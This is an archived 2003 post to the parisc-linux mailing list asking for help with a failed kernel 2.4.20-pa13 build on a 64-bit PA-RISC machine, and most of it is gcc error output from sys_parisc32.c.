From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel compilation
Date: Fri, 10 Jan 2003 05:12:53 -0800
Lines: 694
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F0107AE4C@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622089 19648 80.91.229.3 (22 Nov 2014 02:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:09 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 06:13:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D53B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 06:13:01 -0700 (MST)
Original-Received: from xparelay2.ptp.hp.com (xparelay2.ptp.hp.com [15.1.28.65])
	by palrel11.hp.com (Postfix) with ESMTP id 9C94A60024B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:12:55 -0800 (PST)
Original-Received: from xpabh2.ptp.hp.com (xpabh2.ptp.hp.com [15.1.28.61])
	by xparelay2.ptp.hp.com (Postfix) with ESMTP id 953661C00AD4
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 05:12:55 -0800 (PST)
Original-Received: by xpabh2.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <CJ00JW0Z>; Fri, 10 Jan 2003 05:12:55 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17313

Hi people,
	
	I'm trying compile the kernel linux-2.4.20-pa13 in a 64 bit machine
(pa risc 5430) with compiler gcc version 3.0.4 and occurs the following
problem:

hppa64-linux-gcc -D__KERNEL__ -I/usr/src/linux-2.4.20-pa13/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce
 -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections
-march=2.0 -mschedule=8000   -nostdinc -I
/usr/lib/gcc-lib/hppa-linux/3.0.4/include -DKBUILD_BASENAME=sys_parisc32  -c
-o sys_pa
risc32.o sys_parisc32.c
sys_parisc32.c:351: parse error before "__kernel_time_t32"
sys_parisc32.c:351: warning: no semicolon at end of struct or union
sys_parisc32.c:352: warning: type defaults to `int' in declaration of
`modtime'
sys_parisc32.c:352: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_utime':
sys_parisc32.c:357: storage size of `times32' isn't known
sys_parisc32.c:357: warning: unused variable `times32'
sys_parisc32.c: At top level:
sys_parisc32.c:386: parse error before "__kernel_clock_t32"
sys_parisc32.c:386: warning: no semicolon at end of struct or union
sys_parisc32.c:387: warning: type defaults to `int' in declaration of
`tms_stime'
sys_parisc32.c:387: warning: data definition has no type or storage class
sys_parisc32.c:388: parse error before "tms_cutime"
sys_parisc32.c:388: warning: type defaults to `int' in declaration of
`tms_cutime'
sys_parisc32.c:388: warning: data definition has no type or storage class
sys_parisc32.c:389: parse error before "tms_cstime"
sys_parisc32.c:389: warning: type defaults to `int' in declaration of
`tms_cstime'
sys_parisc32.c:389: warning: data definition has no type or storage class
sys_parisc32.c: In function `sys32_times':
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:401: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:402: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:403: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c:404: dereferencing pointer to incomplete type
sys_parisc32.c: At top level:
sys_parisc32.c:414: parse error before "__kernel_off_t32"
sys_parisc32.c:414: warning: no semicolon at end of struct or union
sys_parisc32.c:415: warning: type defaults to `int' in declaration of
`l_len'
sys_parisc32.c:415: warning: data definition has no type or storage class
sys_parisc32.c:416: parse error before "l_pid"
sys_parisc32.c:416: warning: type defaults to `int' in declaration of
`l_pid'
sys_parisc32.c:416: warning: data definition has no type or storage class
sys_parisc32.c: In function `get_flock':
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: dereferencing pointer to incomplete type
sys_parisc32.c:424: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: dereferencing pointer to incomplete type
sys_parisc32.c:425: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: dereferencing pointer to incomplete type
sys_parisc32.c:426: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: dereferencing pointer to incomplete type
sys_parisc32.c:427: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: dereferencing pointer to incomplete type
sys_parisc32.c:428: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c: In function `put_flock':
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:436: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:437: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:438: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:439: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c:440: dereferencing pointer to incomplete type
sys_parisc32.c: In function `sys32_sysctl':
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:511: warning: cast to pointer from integer of different size
sys_parisc32.c:520: warning: cast to pointer from integer of different size
sys_parisc32.c:520: warning: cast to pointer from integer of different size
sys_parisc32.c:521: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c:529: warning: cast to pointer from integer of different size
sys_parisc32.c: At top level:
sys_parisc32.c:596: parse error before "time_t32"
sys_parisc32.c:596: warning: type defaults to `int' in declaration of
`time_t32'
sys_parisc32.c:596: warning: data definition has no type or storage class
sys_parisc32.c:621: parse error before '*' token
sys_parisc32.c:622: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_time':
sys_parisc32.c:624: parse error before "now32"
sys_parisc32.c:626: `tloc' undeclared (first use in this function)
sys_parisc32.c:626: (Each undeclared identifier is reported only once
sys_parisc32.c:626: for each function it appears in.)
sys_parisc32.c:627: `now32' undeclared (first use in this function)
sys_parisc32.c:623: warning: unused variable `now'
sys_parisc32.c:631: warning: control reaches end of non-void function
sys_parisc32.c: At top level:
sys_parisc32.c:786: parse error before "pid"
sys_parisc32.c:788: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_wait4':
sys_parisc32.c:789: `ru' undeclared (first use in this function)
sys_parisc32.c:790: `pid' undeclared (first use in this function)
sys_parisc32.c:790: `stat_addr' undeclared (first use in this function)
sys_parisc32.c:790: `options' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:805: parse error before "__kernel_dev_t32"
sys_parisc32.c:805: warning: no semicolon at end of struct or union
sys_parisc32.c:806: warning: type defaults to `int' in declaration of
`st_ino'
sys_parisc32.c:806: warning: data definition has no type or storage class
sys_parisc32.c:807: parse error before "st_mode"
sys_parisc32.c:807: warning: type defaults to `int' in declaration of
`st_mode'
sys_parisc32.c:807: warning: data definition has no type or storage class
sys_parisc32.c:808: parse error before "st_nlink"
sys_parisc32.c:808: warning: type defaults to `int' in declaration of
`st_nlink'
sys_parisc32.c:808: warning: data definition has no type or storage class
sys_parisc32.c:811: parse error before "st_rdev"
sys_parisc32.c:811: warning: type defaults to `int' in declaration of
`st_rdev'
sys_parisc32.c:811: warning: data definition has no type or storage class
sys_parisc32.c:812: parse error before "st_size"
sys_parisc32.c:812: warning: type defaults to `int' in declaration of
`st_size'
sys_parisc32.c:812: warning: data definition has no type or storage class
sys_parisc32.c:813: parse error before "st_atime"
sys_parisc32.c:813: warning: type defaults to `int' in declaration of
`st_atime'
sys_parisc32.c:813: warning: data definition has no type or storage class
sys_parisc32.c:815: parse error before "st_mtime"
sys_parisc32.c:815: warning: type defaults to `int' in declaration of
`st_mtime'
sys_parisc32.c:815: warning: data definition has no type or storage class
sys_parisc32.c:817: parse error before "st_ctime"
sys_parisc32.c:817: warning: type defaults to `int' in declaration of
`st_ctime'
sys_parisc32.c:817: warning: data definition has no type or storage class
sys_parisc32.c:822: parse error before "__unused2"
sys_parisc32.c:822: warning: type defaults to `int' in declaration of
`__unused2'
sys_parisc32.c:822: warning: data definition has no type or storage class
sys_parisc32.c:823: parse error before "__unused3"
sys_parisc32.c:823: warning: type defaults to `int' in declaration of
`__unused3'
sys_parisc32.c:823: warning: data definition has no type or storage class
sys_parisc32.c:827: parse error before "st_realdev"
sys_parisc32.c:827: warning: type defaults to `int' in declaration of
`st_realdev'
sys_parisc32.c:827: warning: data definition has no type or storage class
sys_parisc32.c:830: parse error before "st_uid"
sys_parisc32.c:830: warning: type defaults to `int' in declaration of
`st_uid'
sys_parisc32.c:830: warning: data definition has no type or storage class
sys_parisc32.c:831: parse error before "st_gid"
sys_parisc32.c:831: warning: type defaults to `int' in declaration of
`st_gid'
sys_parisc32.c:831: warning: data definition has no type or storage class
sys_parisc32.c:833: parse error before '}' token
sys_parisc32.c: In function `cp_new_stat32':
sys_parisc32.c:850: storage size of `tmp' isn't known
sys_parisc32.c:850: warning: unused variable `tmp'
sys_parisc32.c:851: warning: `blocks' might be used uninitialized in this
function
sys_parisc32.c: At top level:
sys_parisc32.c:957: parse error before "__kernel_off_t32"
sys_parisc32.c:957: warning: no semicolon at end of struct or union
sys_parisc32.c:960: parse error before '}' token
sys_parisc32.c: In function `filldir32':
sys_parisc32.c:989: dereferencing pointer to incomplete type
sys_parisc32.c:989: dereferencing pointer to incomplete type
sys_parisc32.c:989: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:996: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:999: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1000: dereferencing pointer to incomplete type
sys_parisc32.c:1001: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c:1002: dereferencing pointer to incomplete type
sys_parisc32.c: In function `sys32_getdents':
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c:1033: dereferencing pointer to incomplete type
sys_parisc32.c: At top level:
sys_parisc32.c:1312: parse error before "__kernel_size_t32"
sys_parisc32.c:1313: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_modules':
sys_parisc32.c:1321: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1323: `buf' undeclared (first use in this function)
sys_parisc32.c:1330: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1347: parse error before "__kernel_size_t32"
sys_parisc32.c:1348: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_deps':
sys_parisc32.c:1351: `mod' undeclared (first use in this function)
sys_parisc32.c:1354: `ret' undeclared (first use in this function)
sys_parisc32.c:1361: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1363: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1384: parse error before "__kernel_size_t32"
sys_parisc32.c:1385: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_refs':
sys_parisc32.c:1389: `mod' undeclared (first use in this function)
sys_parisc32.c:1392: `ret' undeclared (first use in this function)
sys_parisc32.c:1402: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1404: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1428: parse error before "__kernel_size_t32"
sys_parisc32.c:1429: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_symbols':
sys_parisc32.c:1435: `mod' undeclared (first use in this function)
sys_parisc32.c:1436: `ret' undeclared (first use in this function)
sys_parisc32.c:1446: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1453: `buf' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1487: parse error before "__kernel_size_t32"
sys_parisc32.c:1488: warning: function declaration isn't a prototype
sys_parisc32.c: In function `qm_info':
sys_parisc32.c:1491: `mod' undeclared (first use in this function)
sys_parisc32.c:1494: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1504: `buf' undeclared (first use in this function)
sys_parisc32.c:1509: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1515: parse error before "__kernel_size_t32"
sys_parisc32.c:1516: warning: function declaration isn't a prototype
sys_parisc32.c: In function `sys32_query_module':
sys_parisc32.c:1521: `name_user' undeclared (first use in this function)
sys_parisc32.c:1545: `which' undeclared (first use in this function)
sys_parisc32.c:1551: `buf' undeclared (first use in this function)
sys_parisc32.c:1551: `bufsize' undeclared (first use in this function)
sys_parisc32.c:1551: `ret' undeclared (first use in this function)
sys_parisc32.c: At top level:
sys_parisc32.c:1791: parse error before "__kernel_size_t32"
sys_parisc32.c:1791: warning: no semicolon at end of struct or union
sys_parisc32.c:1793: parse error before "msg_controllen"
sys_parisc32.c:1793: warning: type defaults to `int' in declaration of
`msg_controllen'
sys_parisc32.c:1793: warning: data definition has no type or storage class
sys_parisc32.c:1795: parse error before '}' token
sys_parisc32.c:1798: parse error before "__kernel_size_t32"
sys_parisc32.c:1798: warning: no semicolon at end of struct or union
sys_parisc32.c:1801: parse error before '}' token
sys_parisc32.c: In function `__cmsg32_nxthdr':
sys_parisc32.c:1825: arithmetic on pointer to an incomplete type
sys_parisc32.c: In function `msghdr_from_user32_to_kern':
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: dereferencing pointer to incomplete type
sys_parisc32.c:1869: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: dereferencing pointer to incomplete type
sys_parisc32.c:1870: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: dereferencing pointer to incomplete type
sys_parisc32.c:1871: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: dereferencing pointer to incomplete type
sys_parisc32.c:1879: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: dereferencing pointer to incomplete type
sys_parisc32.c:1880: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: dereferencing pointer to incomplete type
sys_parisc32.c:1881: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: dereferencing pointer to incomplete type
sys_parisc32.c:1882: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c: In function `cmsghdr_from_user32_to_kern':
sys_parisc32.c:1932: `__kernel_size_t32' undeclared (first use in this
function)
sys_parisc32.c:1932: parse error before "ucmlen"
sys_parisc32.c:1937: sizeof applied to an incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: `ucmlen' undeclared (first use in this function)
sys_parisc32.c:1939: dereferencing pointer to incomplete type
sys_parisc32.c:1939: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1944: sizeof applied to an incomplete type
sys_parisc32.c:1950: dereferencing pointer to incomplete type
sys_parisc32.c:1970: sizeof applied to an incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: dereferencing pointer to incomplete type
sys_parisc32.c:1972: warning: type defaults to `int' in declaration of `type
name'
sys_parisc32.c:1973: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
sys_parisc32.c:1976: dereferencing pointer to incomplete type
